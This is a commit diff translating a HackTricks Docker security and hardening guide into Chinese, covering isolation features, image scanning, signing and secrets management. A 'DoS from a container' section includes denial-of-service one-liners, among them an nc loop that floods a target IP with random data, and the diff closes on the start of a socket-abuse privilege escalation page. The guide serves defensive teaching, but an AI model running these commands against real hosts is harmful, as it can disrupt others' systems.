Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

This commit is contained in:
Translator 2025-01-02 18:50:28 +00:00
parent 684a263ef4
commit c2003a2e2f
228 changed files with 7455 additions and 10906 deletions

File diff suppressed because it is too large Load Diff

View File

@ -2,56 +2,45 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## **基本 Docker 引擎安全性**
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Basic Docker Engine Security**
The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions.
**Docker 引擎** 利用 Linux 内核的 **Namespaces****Cgroups** 来隔离容器,提供基本的安全层。通过 **Capabilities dropping**、**Seccomp** 和 **SELinux/AppArmor** 提供额外的保护,增强容器隔离。一个 **auth plugin** 可以进一步限制用户操作。
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
### Secure Access to Docker Engine
### 安全访问 Docker 引擎
The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication.
The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings:
Docker 引擎可以通过 Unix 套接字本地访问,也可以通过 HTTP 远程访问。对于远程访问,使用 HTTPS 和 **TLS** 确保机密性、完整性和身份验证是至关重要的。
Docker 引擎默认在 `unix:///var/run/docker.sock` 上监听。在 Ubuntu 系统上Docker 的启动选项在 `/etc/default/docker` 中定义。要启用对 Docker API 和客户端的远程访问,通过添加以下设置来通过 HTTP 套接字暴露 Docker 守护进程:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
然而,由于安全问题,不建议通过 HTTP 暴露 Docker 守护进程。建议使用 HTTPS 来保护连接。保护连接的主要方法有两种:
However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection:
1. 客户端验证服务器的身份。
2. 客户端和服务器相互验证对方的身份。
1. The client verifies the server's identity.
2. Both the client and server mutually authenticate each other's identity.
证书用于确认服务器的身份。有关这两种方法的详细示例,请参阅 [**此指南**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)。
Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/).
### 容器镜像的安全性
### Security of Container Images
容器镜像可以存储在私有或公共仓库中。Docker 提供了几种容器镜像的存储选项:
Container images can be stored in either private or public repositories. Docker offers several storage options for container images:
- [**Docker Hub**](https://hub.docker.com): Docker 的公共注册服务。
- [**Docker Registry**](https://github.com/docker/distribution): 一个开源项目,允许用户托管自己的注册表。
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker 的商业注册表产品,具有基于角色的用户身份验证和与 LDAP 目录服务的集成。
- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker.
- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry.
- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services.
### 镜像扫描
### Image Scanning
容器可能存在 **安全漏洞**这可能是由于基础镜像或在基础镜像上安装的软件造成的。Docker 正在进行一个名为 **Nautilus** 的项目该项目对容器进行安全扫描并列出漏洞。Nautilus 通过将每个容器镜像层与漏洞库进行比较来识别安全漏洞。
Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes.
For more [**information read this**](https://docs.docker.com/engine/scan/).
有关更多 [**信息,请阅读此文**](https://docs.docker.com/engine/scan/)。
- **`docker scan`**
The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image:
**`docker scan`** 命令允许您使用镜像名称或 ID 扫描现有的 Docker 镜像。例如,运行以下命令以扫描 hello-world 镜像:
```bash
docker scan hello-world
@ -67,103 +56,82 @@ Licenses: enabled
Note that we do not currently have vulnerability data for your image.
```
- [**`trivy`**](https://github.com/aquasecurity/trivy)
```bash
trivy -q -f json <container_name>:<tag>
```
- [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli)
```bash
snyk container test <image> --json-file-output=<output file> --severity-threshold=high
```
- [**`clair-scanner`**](https://github.com/arminc/clair-scanner)
```bash
clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Docker 镜像签名
### Docker Image Signing
Docker 镜像签名确保容器中使用的镜像的安全性和完整性。以下是简要说明:
Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation:
- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io).
- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later.
- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error.
- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image.
To back up your private keys, use the command:
- **Docker 内容信任** 利用 Notary 项目,基于更新框架 (TUF),来管理镜像签名。有关更多信息,请参见 [Notary](https://github.com/docker/notary) 和 [TUF](https://theupdateframework.github.io)。
- 要激活 Docker 内容信任,请设置 `export DOCKER_CONTENT_TRUST=1`。此功能在 Docker 版本 1.10 及更高版本中默认关闭。
- 启用此功能后仅可以下载签名的镜像。初始镜像推送需要为根密钥和标记密钥设置密码Docker 还支持 Yubikey 以增强安全性。更多详细信息可以在 [这里](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) 找到。
- 尝试在启用内容信任的情况下拉取未签名的镜像会导致 "No trust data for latest" 错误。
- 在第一次之后的镜像推送中Docker 会要求输入存储库密钥的密码以签署镜像。
要备份您的私钥,请使用以下命令:
```bash
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
```
在切换 Docker 主机时,必须移动根密钥和存储库密钥以维持操作。
When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations.
---
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## Containers Security Features
## 容器安全特性
<details>
<summary>Summary of Container Security Features</summary>
<summary>容器安全特性摘要</summary>
**Main Process Isolation Features**
**主要进程隔离特性**
In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts:
在容器化环境中,隔离项目及其进程对于安全和资源管理至关重要。以下是关键概念的简化解释:
**Namespaces**
**命名空间**
- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers.
- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does.
- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry.
- **目的**:确保进程、网络和文件系统等资源的隔离。特别是在 Docker 中,命名空间使容器的进程与主机和其他容器分开。
- **`unshare` 的使用**`unshare` 命令(或底层系统调用)用于创建新的命名空间,提供额外的隔离层。然而,虽然 Kubernetes 本身并不阻止这一点,但 Docker 确实会。
- **限制**:创建新命名空间并不允许进程恢复到主机的默认命名空间。要穿透主机命名空间,通常需要访问主机的 `/proc` 目录,使用 `nsenter` 进行进入。
**Control Groups (CGroups)**
**控制组 (CGroups)**
- **Function**: Primarily used for allocating resources among processes.
- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access.
- **功能**:主要用于在进程之间分配资源。
- **安全方面**CGroups 本身不提供隔离安全,除了 `release_agent` 特性,如果配置错误,可能会被利用进行未经授权的访问。
**Capability Drop**
**能力丢弃**
- **Importance**: It's a crucial security feature for process isolation.
- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions.
These are the **remaining capabilities** after the process drop the others:
- **重要性**:这是进程隔离的重要安全特性。
- **功能**:通过丢弃某些能力来限制根进程可以执行的操作。即使进程以根权限运行,缺乏必要的能力也会阻止其执行特权操作,因为系统调用将因权限不足而失败。
这些是进程丢弃其他能力后的 **剩余能力**
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
**Seccomp**
It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\
The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
它在 Docker 中默认启用。它有助于**进一步限制进程可以调用的系统调用**。\
**默认的 Docker Seccomp 配置文件**可以在 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) 找到。
**AppArmor**
Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
Docker 有一个可以激活的模板:[https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
This will allow to reduce capabilities, syscalls, access to files and folders...
这将允许减少能力、系统调用、对文件和文件夹的访问...
</details>
### Namespaces
**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces.
**Namespaces** 是 Linux 内核的一个特性,它**将内核资源进行分区**,使得一组**进程****看到**一组**资源**,而**另一**组**进程**看到**不同**的资源集。该特性通过为一组资源和进程使用相同的命名空间来工作,但这些命名空间指向不同的资源。资源可以存在于多个空间中。
Docker makes use of the following Linux kernel Namespaces to achieve Container isolation:
Docker 利用以下 Linux 内核命名空间来实现容器隔离:
- pid namespace
- mount namespace
@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i
- ipc namespace
- UTS namespace
For **more information about the namespaces** check the following page:
有关命名空间的**更多信息**,请查看以下页面:
{{#ref}}
namespaces/
@ -179,62 +147,58 @@ namespaces/
### cgroups
Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\
Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Containers CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Containers IO. It has a default value of 500 and range between 10 and 1000.
Linux 内核特性**cgroups**提供了**限制资源如 CPU、内存、IO、网络带宽**等的能力适用于一组进程。Docker 允许使用 cgroup 特性创建容器,从而实现对特定容器的资源控制。\
以下是一个用户空间内存限制为 500m内核内存限制为 50mCPU 共享为 512blkio-weight 为 400 的容器。CPU 共享是控制容器 CPU 使用的比例。它的默认值为 1024范围在 0 到 1024 之间。如果三个容器的 CPU 共享均为 1024则在 CPU 资源争用的情况下,每个容器最多可以占用 33% 的 CPU。blkio-weight 是控制容器 IO 的比例。它的默认值为 500范围在 10 到 1000 之间。
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
To get the cgroup of a container you can do:
要获取容器的 cgroup您可以执行
```bash
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
For more information check:
有关更多信息,请查看:
{{#ref}}
cgroups.md
{{#endref}}
### Capabilities
### 能力
Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user.
能力允许**对可以允许的根用户能力进行更细粒度的控制**。Docker使用Linux内核能力特性来**限制可以在容器内执行的操作**,无论用户类型如何。
When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape:
当运行docker容器时**进程会放弃敏感能力,以防止进程逃离隔离**。这试图确保进程无法执行敏感操作并逃脱:
{{#ref}}
../linux-capabilities.md
{{#endref}}
### Seccomp in Docker
### Docker中的Seccomp
This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container:
这是一项安全特性允许Docker**限制可以在容器内使用的系统调用**
{{#ref}}
seccomp.md
{{#endref}}
### AppArmor in Docker
### Docker中的AppArmor
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.:
**AppArmor**是一个内核增强,用于将**容器**限制在**有限**的**资源**集内,并具有**每个程序的配置文件**
{{#ref}}
apparmor.md
{{#endref}}
### SELinux in Docker
### Docker中的SELinux
- **Labeling System**: SELinux assigns a unique label to every process and filesystem object.
- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system.
- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`.
- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`.
- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`.
- **标记系统**SELinux为每个进程和文件系统对象分配一个唯一的标签。
- **策略执行**:它执行定义进程标签可以对系统内其他标签执行哪些操作的安全策略。
- **容器进程标签**当容器引擎启动容器进程时通常会分配一个受限的SELinux标签通常为`container_t`
- **容器内文件标记**:容器内的文件通常标记为`container_file_t`
- **策略规则**SELinux策略主要确保具有`container_t`标签的进程只能与标记为`container_file_t`的文件进行交互(读取、写入、执行)。
This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises.
该机制确保即使容器内的进程被攻陷,它也仅限于与具有相应标签的对象进行交互,从而显著限制此类攻陷可能造成的损害。
{{#ref}}
../selinux.md
@ -242,23 +206,22 @@ This mechanism ensures that even if a process within a container is compromised,
### AuthZ & AuthN
In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts:
在Docker中授权插件在安全性中发挥着关键作用通过决定是否允许或阻止对Docker守护进程的请求来实现。这一决定是通过检查两个关键上下文来做出的
- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves.
- **Command Context**: This comprises all pertinent data related to the request being made.
- **身份验证上下文**:这包括有关用户的全面信息,例如他们是谁以及他们如何进行身份验证。
- **命令上下文**:这包括与所发出请求相关的所有相关数据。
These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations.
这些上下文有助于确保只有经过身份验证的用户的合法请求被处理从而增强Docker操作的安全性。
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## DoS from a container
## 来自容器的DoS
If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running.
如果您没有正确限制容器可以使用的资源则被攻陷的容器可能会对其运行的主机造成DoS。
- CPU DoS
```bash
# stress-ng
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
- Bandwidth DoS
- 带宽 DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
## 有趣的 Docker 标志
## Interesting Docker Flags
### --privileged 标志
### --privileged flag
In the following page you can learn **what does the `--privileged` flag imply**:
在以下页面中,您可以了解 **`--privileged` 标志的含义**
{{#ref}}
docker-privileged.md
@ -287,16 +247,13 @@ docker-privileged.md
#### no-new-privileges
If you are running a container where an attacker manages to get access as a low privilege user. If you have a **miss-configured suid binary**, the attacker may abuse it and **escalate privileges inside** the container. Which, may allow him to escape from it.
Running the container with the **`no-new-privileges`** option enabled will **prevent this kind of privilege escalation**.
如果您正在运行一个容器,攻击者设法以低权限用户身份获得访问权限。如果您有一个 **配置错误的 suid 二进制文件**,攻击者可能会滥用它并 **在容器内提升权限**。这可能允许他逃离容器。
启用 **`no-new-privileges`** 选项运行容器将 **防止这种权限提升**
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
#### Other
#### 其他
```bash
#You can manually add/drop capabilities with
--cap-add
@ -311,101 +268,96 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
# You can manually disable selinux in docker with
--security-opt label:disable
```
对于更多 **`--security-opt`** 选项,请查看: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
For more **`--security-opt`** options check: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## 其他安全考虑
## Other Security Considerations
### 管理机密:最佳实践
### Managing Secrets: Best Practices
避免直接在 Docker 镜像中嵌入机密或使用环境变量至关重要,因为这些方法会通过 `docker inspect``exec` 等命令将您的敏感信息暴露给任何可以访问容器的人。
It's crucial to avoid embedding secrets directly in Docker images or using environment variables, as these methods expose your sensitive information to anyone with access to the container through commands like `docker inspect` or `exec`.
**Docker 卷** 是一种更安全的替代方案,推荐用于访问敏感信息。它们可以作为内存中的临时文件系统使用,从而降低与 `docker inspect` 和日志记录相关的风险。然而,根用户和具有 `exec` 访问权限的用户仍然可能访问这些机密。
**Docker volumes** are a safer alternative, recommended for accessing sensitive information. They can be utilized as a temporary filesystem in memory, mitigating the risks associated with `docker inspect` and logging. However, root users and those with `exec` access to the container might still access the secrets.
**Docker secrets** 提供了一种更安全的方法来处理敏感信息。对于在镜像构建阶段需要机密的实例,**BuildKit** 提供了一种高效的解决方案,支持构建时机密,提升构建速度并提供额外功能。
**Docker secrets** offer an even more secure method for handling sensitive information. For instances requiring secrets during the image build phase, **BuildKit** presents an efficient solution with support for build-time secrets, enhancing build speed and providing additional features.
要利用 BuildKit可以通过三种方式激活
To leverage BuildKit, it can be activated in three ways:
1. Through an environment variable: `export DOCKER_BUILDKIT=1`
2. By prefixing commands: `DOCKER_BUILDKIT=1 docker build .`
3. By enabling it by default in the Docker configuration: `{ "features": { "buildkit": true } }`, followed by a Docker restart.
BuildKit allows for the use of build-time secrets with the `--secret` option, ensuring these secrets are not included in the image build cache or the final image, using a command like:
1. 通过环境变量: `export DOCKER_BUILDKIT=1`
2. 通过命令前缀: `DOCKER_BUILDKIT=1 docker build .`
3. 通过在 Docker 配置中默认启用: `{ "features": { "buildkit": true } }`,然后重启 Docker。
BuildKit 允许使用 `--secret` 选项来处理构建时机密,确保这些机密不会包含在镜像构建缓存或最终镜像中,使用命令如下:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
For secrets needed in a running container, **Docker Compose and Kubernetes** offer robust solutions. Docker Compose utilizes a `secrets` key in the service definition for specifying secret files, as shown in a `docker-compose.yml` example:
对于运行中的容器所需的秘密,**Docker Compose 和 Kubernetes** 提供了强大的解决方案。Docker Compose 在服务定义中使用 `secrets` 键来指定秘密文件,如 `docker-compose.yml` 示例所示:
```yaml
version: "3.7"
services:
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
- my_secret
my_service:
image: centos:7
entrypoint: "cat /run/secrets/my_secret"
secrets:
my_secret:
file: ./my_secret_file.txt
- my_secret
secrets:
my_secret:
file: ./my_secret_file.txt
```
此配置允许在使用 Docker Compose 启动服务时使用秘密。
This configuration allows for the use of secrets when starting services with Docker Compose.
In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise.
在 Kubernetes 环境中,秘密是原生支持的,并且可以通过像 [Helm-Secrets](https://github.com/futuresimple/helm-secrets) 这样的工具进一步管理。Kubernetes 的基于角色的访问控制 (RBAC) 增强了秘密管理的安全性,类似于 Docker Enterprise。
### gVisor
**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers.
**gVisor** 是一个应用内核,使用 Go 编写,实现了 Linux 系统表面的相当大一部分。它包括一个名为 `runsc` 的 [Open Container Initiative (OCI)](https://www.opencontainers.org) 运行时,提供了 **应用程序与主机内核之间的隔离边界**`runsc` 运行时与 Docker 和 Kubernetes 集成,使得运行沙箱容器变得简单。
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense.
**Kata Containers** 是一个开源社区,致力于构建一个安全的容器运行时,使用轻量级虚拟机,感觉和性能像容器,但提供 **使用硬件虚拟化技术作为第二道防线的更强工作负载隔离**
{% embed url="https://katacontainers.io/" %}
### Summary Tips
### 总结提示
- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads dont need any capabilities and adding them increases the scope of a potential attack.
- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks.
- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required.
- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Dont inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP.
- **Regularly** **rebuild** your images to **apply security patches to the host an images.**
- Manage your **secrets wisely** so it's difficult to the attacker to access them.
- If you **exposes the docker daemon use HTTPS** with client & server authentication.
- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesnt have these capabilities. Whenever possible, avoid using ADD so you arent susceptible to attacks through remote URLs and Zip files.
- Have **separate containers for each micro-s**ervice
- **Dont put ssh** inside container, “docker exec” can be used to ssh to Container.
- Have **smaller** container **images**
- **不要使用 `--privileged` 标志或在容器内挂载** [**Docker 套接字**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker 套接字允许生成容器,因此这是完全控制主机的简单方法,例如,通过使用 `--privileged` 标志运行另一个容器。
- **不要在容器内以 root 身份运行。使用** [**不同用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器中的 root 与主机上的 root 是相同的,除非通过用户命名空间重新映射。它仅受到 Linux 命名空间、能力和 cgroups 的轻微限制。
- [**丢弃所有能力**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`),仅启用所需的能力** (`--cap-add=...`)。许多工作负载不需要任何能力,添加它们会增加潜在攻击的范围。
- [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) 防止进程获得更多权限,例如通过 suid 二进制文件。
- [**限制容器可用的资源**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** 资源限制可以保护机器免受拒绝服务攻击。
- **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**、** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(或 SELinux** 配置文件,以将容器可用的操作和系统调用限制到最低要求。
- **使用** [**官方 Docker 镜像**](https://docs.docker.com/docker-hub/official_images/) **并要求签名**,或基于它们构建自己的镜像。不要继承或使用 [后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) 镜像。还要将 root 密钥、密码短语存放在安全的地方。Docker 计划通过 UCP 管理密钥。
- **定期** **重建** 镜像以 **应用安全补丁到主机和镜像。**
- 明智地管理您的 **秘密**,使攻击者难以访问它们。
- 如果您 **暴露 Docker 守护进程,请使用 HTTPS**,并进行客户端和服务器身份验证。
- 在您的 Dockerfile 中,**优先使用 COPY 而不是 ADD**。ADD 会自动提取压缩文件,并可以从 URL 复制文件。COPY 没有这些功能。尽可能避免使用 ADD以免受到通过远程 URL 和 Zip 文件的攻击。
- 为每个微服务 **使用单独的容器**
- **不要在容器内放置 ssh**,可以使用 “docker exec” 连接到容器。
- 拥有 **更小的** 容器 **镜像**
## Docker Breakout / Privilege Escalation
## Docker 突破 / 权限提升
If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**:
如果您 **在 Docker 容器内** 或者您有权访问 **docker 组中的用户**,您可以尝试 **逃逸并提升权限**
{{#ref}}
docker-breakout-privilege-escalation/
{{#endref}}
## Docker Authentication Plugin Bypass
## Docker 身份验证插件绕过
If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:**
如果您可以访问 Docker 套接字或有权访问 **docker 组中的用户,但您的操作受到 Docker 身份验证插件的限制**,请检查您是否可以 **绕过它:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## Hardening Docker
## 加固 Docker
- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
- 工具 [**docker-bench-security**](https://github.com/docker/docker-bench-security) 是一个脚本,检查在生产中部署 Docker 容器的数十个常见最佳实践。所有测试都是自动化的,基于 [CIS Docker 基准 v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
您需要从运行 Docker 的主机或具有足够权限的容器中运行该工具。查找 **如何在 README 中运行它:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)
## References
## 参考
- [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
@ -421,12 +373,5 @@ authz-and-authn-docker-access-authorization-plugin.md
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,43 +1,43 @@
# Abusing Docker Socket for Privilege Escalation
# 利用 Docker Socket 提升权限
{{#include ../../../banners/hacktricks-training.md}}
There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges:
